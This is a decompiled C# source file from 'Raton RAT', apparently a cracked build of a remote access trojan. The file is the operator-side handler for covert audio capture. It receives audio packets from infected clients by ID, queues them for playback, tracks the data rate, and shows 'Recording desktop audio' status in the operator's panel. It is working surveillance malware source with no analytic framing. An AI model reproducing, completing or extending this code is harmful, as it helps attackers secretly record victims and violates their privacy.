raton4.0-source/Raton RAT/Server/Handlers/HandleMicrophoneSystem.cs

// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleMicrophoneSystem
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe

using DarkModeForms;
using Raton.Forms.ClientForms.Audio;
using Server.Connection;
using Stuff;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Windows.Forms;

#nullable disable
namespace Server.Handlers;

internal class HandleMicrophoneSystem
{
  private static Dictionary<string, DateTime> lastPacketTime = new Dictionary<string, DateTime>();
  private static Dictionary<string, double> lastKBps = new Dictionary<string, double>();
  private static Dictionary<string, DateTime> lastUiUpdate = new Dictionary<string, DateTime>();
  private static Dictionary<string, ratonSystemRecording> micForms = new Dictionary<string, ratonSystemRecording>();
  private const int update = 500;

  public HandleMicrophoneSystem(SillyClient SillyClient, Unpack msgUnpack)
  {
    HandleMicrophoneSystem microphoneSystem = this;
    string uid = msgUnpack.GetAsString("UID");
    if (string.IsNullOrEmpty(uid))
      return;
    ratonSystemRecording clipboard = this.GetOrFindForm(uid);
    if (clipboard == null || clipboard.IsDisposed)
      return;
    if (clipboard.SillyClient == null)
      clipboard.SillyClient = SillyClient;
    byte[] asByteArray = msgUnpack.GetAsByteArray("AudioData");
    int length = msgUnpack.GetAsInteger("Length");
    if (asByteArray == null || length <= 0)
      return;
    if (length > asByteArray.Length)
      length = asByteArray.Length;
    AudioDispatch.Enqueue(uid, asByteArray, length);
    double sizeKB = (double) length / 1024.0;
    double kbps = this.CalculateKBps(uid, sizeKB);
    DateTime now = DateTime.Now;
    if (HandleMicrophoneSystem.lastUiUpdate.ContainsKey(uid) && (now - HandleMicrophoneSystem.lastUiUpdate[uid]).TotalMilliseconds < 500.0)
      return;
    HandleMicrophoneSystem.lastUiUpdate[uid] = now;
    if (clipboard.InvokeRequired)
      clipboard.BeginInvoke((Delegate) (() => microphoneSystem.UpdateUI(clipboard, uid, sizeKB, kbps)));
    else
      this.UpdateUI(clipboard, uid, sizeKB, kbps);
  }

  private ratonSystemRecording GetOrFindForm(string uid)
  {
    if (HandleMicrophoneSystem.micForms.ContainsKey(uid))
    {
      ratonSystemRecording micForm = HandleMicrophoneSystem.micForms[uid];
      if (micForm != null && !micForm.IsDisposed)
        return micForm;
      HandleMicrophoneSystem.micForms.Remove(uid);
    }
    string str = "System Audio | Client ID: " + uid;
    foreach (Form openForm in (ReadOnlyCollectionBase) Application.OpenForms)
    {
      if (openForm.Text == str)
      {
        ratonSystemRecording orFindForm = openForm as ratonSystemRecording;
        HandleMicrophoneSystem.micForms[uid] = orFindForm;
        return orFindForm;
      }
    }
    return (ratonSystemRecording) null;
  }

  private void UpdateUI(ratonSystemRecording clipboard, string uid, double sizeKB, double kbps)
  {
    if (clipboard.IsDisposed)
      return;
    clipboard.label1.Text = $"Recording desktop audio from {uid} | Size: {sizeKB:F2} KB | KBPS: {kbps:F2}";
    FlatProgressBar flatProgressBar1 = clipboard.flatProgressBar1;
    if (flatProgressBar1.Maximum != 100)
      flatProgressBar1.Maximum = 100;
    int val2 = (int) Math.Min(100.0, sizeKB / 20.0 * 100.0);
    flatProgressBar1.Value = Math.Max(0, val2);
  }

  private double CalculateKBps(string uid, double sizeKB)
  {
    DateTime now = DateTime.Now;
    if (!HandleMicrophoneSystem.lastPacketTime.ContainsKey(uid))
    {
      HandleMicrophoneSystem.lastPacketTime[uid] = now;
      HandleMicrophoneSystem.lastKBps[uid] = 0.0;
      return 0.0;
    }
    double totalSeconds = (now - HandleMicrophoneSystem.lastPacketTime[uid]).TotalSeconds;
    HandleMicrophoneSystem.lastPacketTime[uid] = now;
    if (totalSeconds <= 0.0)
      return HandleMicrophoneSystem.lastKBps[uid];
    double num = sizeKB / totalSeconds;
    double kbps = HandleMicrophoneSystem.lastKBps[uid] * 0.7 + num * 0.3;
    HandleMicrophoneSystem.lastKBps[uid] = kbps;
    return kbps;
  }
}